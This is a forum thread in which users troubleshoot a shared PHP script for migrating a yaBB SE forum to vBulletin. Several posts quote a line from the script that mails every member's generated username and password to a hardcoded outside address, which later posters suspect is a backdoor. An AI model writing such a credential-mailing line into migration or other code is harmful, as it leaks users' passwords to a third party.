yaBB SE to vB converter

[ssc]

I'm glad to sharing the script which I wrote for the import from yaBB SE.
It is tested on vB 2.2.9 and yaBB SE 1.4.0.

Just copy to your site, change settings.php and run yabbse2vb.php
You will see the instruction then.

Please use english language. German language is not updated there.

Use for your OWN RISK.

Special thanks to "Television Board.de (Boothby)" for the yaBB to vB converter.
My script is based on that. :)

[timo_copts]

realy
thank u veryyyyyyyyyyy much
iam search for it frome month ago
i will try it but i need to make upgrade to yabbse
i have yabbse v 1.0.0
it work with it?? or i make upgrade????

[ssc]

Im not specialist in yaBB SE 1.0 but it will work if DB structure the same.
I have tested it only on my forum.

please do the backup of database because I have tested it only once.
:classic:

[timo_copts]

ok
i iwll upgrade-->yabbse v 1.0 to v1.4
and i have vb v 2.2.9
as u do in ur forum
thanks

[nferreri]

hmm.. just tried this and seem to be getting this error by just running the member upgrade:

tendaven (Error: "Table 'oldforums.user' doesn't exist")
shelick (Error: "Table 'oldforums.user' doesn't exist")
Niada (Error: "Table 'oldforums.user' doesn't exist")

all members coming up the same..

my database is called oldforums...

not sure why it's trying to reference oldforums.user ???? i put in the config file that the name of the users table was members.

[nferreri]

also noticing sql syntax errors when trying to import their personal text with a ' in the field. these extra ' are interfering with the sql string so you might want to do a replace to get rid of those and strip 'em out.

[gerges]

when i try to convert threads i get this error


Table 'yabbse.forum' doesn't exist

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\functions. php on line 13

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\functions. php on line 30

SELECT yabbse_topics.*, yabbse_messages.* FROM yabbse_topics LEFT JOIN yabbse_messages ON (yabbse_topics.ID_FIRST_MSG=yabbse_messages.ID_MSG ) WHERE ID_BOARD=1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\functions. php on line 30


also for members get the error

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\functions. php on line 23

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\yabbse2vb. php on line 91

may u help plz
regards
gerges

[ssc]

Gerges, please check the settings into 'settings.php' file.

[nferreri]

any fixes for my problems?

[ssc]

nferreri, seems that oldforums is your yaBB database but you have to specify your vB database.

[nferreri]

Yes, I have specified all the correct information in the settings file. I was looking through the code to try and find out what's wrong and am little confused by this line:

$q="SELECT tmp_pass FROM user WHERE username='".$member["memberName"]."' AND email='".$member["emailADDress"]."'";

Where exactly is the tmp_pass field in the user table? I checked my table and I don't have that field.

[nferreri]

mail("sda@olc.ru","'$username': '$password'"," Your temporary password:\n $password");

A little unsure what this does too? mails username and password to sda@olc.ru? who's that?

[tucklis]

Is it possible to import just users with this hack? Also will it work for vbulletin 2.3.0?

Regards,
Kez

[timo_copts]

i have the same error

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\yabbse2vb. php on line 91

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\functions. php on line 23


plz help us
iam and gerges
we check the settings into 'settings.php' file.its true

[timo_copts]

can any one help to fix this converter and thise error???

[tucklis]

I really need to use this convertor but it seems like there are still lots of errors in the hack...

[tucklis]

Has anyone successfully installed this hack??

[timo_copts]

can any one fixe this convert??fix it and make it importanty frome admin area

[tucklis]

Originally posted by timo_copts
can any one fixe this convert??fix it and make it importanty frome admin area

Yeha, please can someone have a look at this - I will be eternally grateful!!!!!!!!!!

[tucklis]

Originally posted by nferreri


mail("sda@olc.ru","'$username': '$password'"," Your temporary password:\n $password");

A little unsure what this does too? mails username and password to sda@olc.ru? who's that?



I got a reply regarding this on vbulletin.com:

It looks like the script creates a new password for each user and then is supposed to email them to the user - BUT it has been hardcoded to send the password to mentioned address.

Presumably the hacker forgot to revert this after testing it...

----------------------------------

Anyone else got any opinions?

[fury]

Try replacing it with this line:

mail("$member[1]","'$username': '$password'"," Your temporary password:\n $password");

It appears $member[1] is the index that is assigned to the user's email, so try that. However, this is only from a couple glances at the code. Try it out on a dummy YaBBSE at first like with just a couple of users or something.

[tucklis]

Thanks for your reply fury.

I tried running the script and it only converted a handful of threads and posts and no members :(

I tried it on yabbse ver 1.5 and vb ver 2.3.0. I think this may have something to do with it. Although I asked over at vb.com and they said 2.2.9 and 2.3.0 are very similar and it should effect it too much. Could this be the reason?

Thanks,
Kez

[fury]

2.2.9 and 2.3.0 are fairly similar - there are some new functions, templates and XSS fixes in 2.3.0 that aren't in 2.2.9, but the database schema for members, posts, threads is unchanged, in other words a converter built for 2.2.9 should technically work for 2.3.0 as well.

[timo_copts]

plz fury
why when i try convert mamber i got this error

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in c:\www.coptic\copts.com\www\board\forum\yabbse2vb. php on line 91

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in c:\www.coptic\copts.com\www\board\forum\functions. php on line 23
i chang settings.php all it
what i do it -1 or >0

$forum_id="-1"; //Forum ID, -1 für die Hauptseite, eine Zahl > 0 für ein vorhandenes Forum
//Forum ID, -1 for Board Index, a Number > 0 for an existing forum


what i do in it?? -1 or >0 and why i got this error??

[fury]

Without the original author of the hack, I wouldn't know where to start. I don't know YaBB SE. Sorry, but it looks like everyone is stuck until ssc sees this thread. :(

[timo_copts]

any fixes for my problems?

[nferreri]

I gave up on this.. I used phpBB to convert my yabbse then converted phpBB to vB with the given converters... worked fine... This hack was just way too buggy and demanded too much time rewriting it.. I wouldn't recommend anyone to use it..

YaBBSE -> phpBB -> vB is the best way to go.

[timo_copts]

i try it but it not succeed
its more difficult

[tucklis]

I managed to get it to work but had to get a techy to rewrite parts of it...

[timo_copts]

i succeed convert member but manual by prog its name
EMS MYSQL MANGER2

ftp://ftp.ems-hitech.com/pub/software/mymanager/mymanager.zip

but it take 2 days work...i try to convert posts but i cant
:ermm: :ermm:

[blacknight]

So far I managed to convert all the posts, but haven't had as much luck with the members :-(

[Katana Myronson]

Will this work with YaBB SE 1.5.3?

[Katana Myronson]

Oh, what does this have to with the script?
mail("sda@olc.ru","'$username': '$password'"," Your temporary password:\n $password");

I think i just found a backdoor. :P